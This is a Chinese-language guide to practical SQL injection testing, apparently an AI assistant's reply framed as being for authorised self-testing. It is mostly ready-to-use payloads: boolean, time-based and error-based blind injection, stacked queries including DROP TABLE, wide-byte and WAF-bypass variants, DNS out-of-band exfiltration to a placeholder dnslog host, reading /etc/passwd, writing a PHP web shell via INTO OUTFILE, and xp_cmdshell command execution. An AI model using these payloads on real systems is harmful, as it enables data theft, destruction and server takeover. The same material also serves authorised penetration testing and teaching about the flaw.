实战级SQL注入测试技巧揭秘
目录
一、高阶注入判断技巧（不爆数据，只测漏洞）
1. 布尔盲注（Boolean-based）
2. 时间盲注（Time-based）
3. 报错注入（Error-based）
二、高阶利用手法（实战渗透常用）
1. 堆叠查询（Stacked Queries）
2. 宽字节注入（绕过转义）
3. 绕过 WAF / 过滤 的高级写法
大小写变形
注释穿插
字符串编码
等价函数替换
空格绕过
4. 二阶注入（Second-Order SQLi）
5. 外带数据（DNSLOG / HTTP 外带）
6. 读写文件
三、针对不同数据库的专属高级注入
MySQL
SQL Server
PostgreSQL
Oracle
四、接口测试中最实用的高阶组合流程
下面给你整理一套更高级、实战化、但依然合规（仅用于授权自检）的 SQL 注入测试思路，适合接口渗透、黑盒测试场景。我会尽量讲得实用、可直接上手，不搞花里胡哨的理论。
一、高阶注入判断技巧（不爆数据，只测漏洞）
1. 布尔盲注（Boolean-based）
适用于：不返回报错、不返回数据，但页面内容会变。
测试思路：
id=1' AND 1=1-- - 页面正常 id=1' AND 1=2-- - 页面异常/无数据两次结果不一样 →存在布尔盲注。
进阶 payload：
' AND (SELECT 1 FROM DUAL WHERE 1=1)-- ' AND (LENGTH(DATABASE())>5)--2. 时间盲注（Time-based）
适用于：页面完全没变化，连布尔差异都没有。
核心：让数据库 sleep，看接口延迟。
' AND SLEEP(5)-- ' AND IF(1=1,SLEEP(5),0)-- ' AND BENCHMARK(1000000,MD5(1))-- ' AND PG_SLEEP(5)-- （PostgreSQL） ' AND WAITFOR DELAY '0:0:5'-- （SQL Server）如果接口明显延迟 5 秒→ 100% 存在注入。
3. 报错注入（Error-based）
不查数据，只通过强制报错判断注入点。常用：
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT 1)),1)-- ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT 1)))-- ' AND FLOOR(RAND(0)*2)-- （group by 报错）只要返回 XPath 语法错误等 → 存在注入。
二、高阶利用手法（实战渗透常用）
1. 堆叠查询（Stacked Queries）
支持多语句执行时：
'; SELECT * FROM user;-- '; DROP TABLE test;-- （严禁非法使用）常见于SQL Server / PostgreSQL。
2. 宽字节注入（绕过转义）
针对 PHP + MySQL 宽字符集（GBK）：
%df' OR 1=1--原理：%df\'被解析成運'，单引号逃逸成功。
3. 绕过 WAF / 过滤 的高级写法
很多接口有防护，普通 payload 会被拦，可以用这些变形：
大小写变形
' Or 1=1-- ' oR 1=1--注释穿插
' UN/**/ION SEL/**/ECT--字符串编码
' UNION SELECT CHAR(97,100,109,105,110)--等价函数替换
AND 1=1 → AND 2-1=1 → AND 3>2 → AND MID(VERSION(),1,1)=5空格绕过
%09、%0a、%0b、%0d、%a0、//、--++例：
'UNION%0aSELECT%0a1,2,3--4. 二阶注入（Second-Order SQLi）
高级玩法，存储型注入：
- 注册用户名：
admin' - 后台查询时直接拼接
- 触发点在另一个接口
这类漏洞非常隐蔽，普通扫描扫不出来。
5. 外带数据（DNSLOG / HTTP 外带）
MySQL 高权限可读取数据外带：
' AND LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.xxx.dnslog.cn\\test'))--适用于：完全盲注、无法回显的场景。
SQL Server：
'; EXEC master..xp_dirtree '\\xxx.dnslog.cn\test';--6. 读写文件
MySQL 权限足够时：
' UNION SELECT LOAD_FILE('/etc/passwd')-- ' INTO OUTFILE '/var/www/html/shell.php'--三、针对不同数据库的专属高级注入
MySQL
- 报错注入：
UPDATEXML、EXTRACTVALUE - 时间盲注：
SLEEP() - 读文件：
LOAD_FILE
SQL Server
- 堆叠查询
WAITFOR DELAYxp_cmdshell命令执行- 报错：
FORMATMESSAGE
PostgreSQL
PG_SLEEP(5)- 复制文件：
COPY - 任意语句执行
Oracle
- 报错：
CTX_REPORT - 盲注：
DBMS_LOCK.SLEEP - 联合查询限制多，需要绕
ROWNUM
四、接口测试中最实用的高阶组合流程
你做接口测试可以按这个顺序：
- 加单引号
'看是否报错 - 布尔测试
AND 1=1 / 1=2 - 时间测试
SLEEP(5) - 报错注入看能否触发
- 尝试 WAF 绕过
- 尝试二阶注入点